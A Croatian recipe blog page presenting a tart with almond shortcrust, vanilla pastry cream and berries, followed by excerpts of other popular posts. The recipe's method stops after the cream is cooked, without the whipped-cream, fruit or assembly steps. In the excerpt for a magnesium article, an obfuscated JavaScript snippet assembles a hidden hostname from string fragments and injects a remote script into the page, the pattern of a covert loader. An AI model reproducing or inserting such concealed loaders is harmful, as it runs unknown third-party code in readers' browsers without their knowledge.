TART S KREMOM OD VANILIJE I VOĆEM





Tart s kremom od vanilije i voćem




Prhka podloga od bademovog brašna, raskošna krema od vanilije i pregršt svježeg bobičastog voća čine ovaj tart idealnim desertom za ljetna druženja.





Tart s kremom od vanilije i voćem 


Sastojci:

Prhko tijesto

  • 90 g maslaca sobne temperature
  • 1/4 žličice soli
  • 50 grama šećera u prahu
  • 40 g bademovog brašna
  • 1 žumanjak
  • 165 g glatkog brašna

Slastičarska krema od vanilije

  • 450 ml mlijeka
  • 4 žumanjka
  • 85 g šećera
  • 40 g gustina
  • mahuna vanilije
  • 30 g maslaca
  • 2 lista želatine
  • 250 ml vrhnja za šlag
  • bobičasto voće



Priprema:

U zdjeli miksajte maslac, šećer i sol oko 2 minute. Dodajte žumanjak i bademovo brašno te miksajte još 1 minutu. Ubacite brašno i miksajte na najslabijoj jačini oko pola minute, dok ne postane mrvičasto. Prebacite tijesto na podlogu, kratko mijesite i oblikujte ga u disk. Spremite u hladnjak na pola sata.

Zagrijte pećnicu na 170 C. Tijesto izvadite iz hladnjaka i ostavite kratko na sobnoj temperaturi pa razvaljajte u krug promjera 3 cm većeg od kalupa i prebacite u kalup. Utisnite tijesto prstima uz stijenku kalupa, odrežite višak i izbodite tijesto vilicom. Stavite u zamrzivač na 10 minuta pa prebacite u zagrijanu pećnicu i pecite 12-15 minuta. Izvadite i ostavite kratko da se ohlade u kalupu pa prebacite na rešetku.

U lonac izlijte 250 ml mlijeka i zagrijte s rastvorenom mahunom vanilije. Želatinu namočite u vodi. Žumanjke pomiješajte s ostatkom mlijeka, gustinom i šećerom. Kad mlijeko zavrije izvadite mahunu pa u tankom mlazu dolijte mlijeko u pripremljenu smjesu sa žumanjcima uz neprestano miješanje pjenjačom.

Ulijte nazad u lonac gdje ste grijali mlijeko i vratite na vatru. Kuhajte dok se ne zgusne pa maknite s vatre i dodajte maslac i ocijeđenu želatinu te dobro promiješajte.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više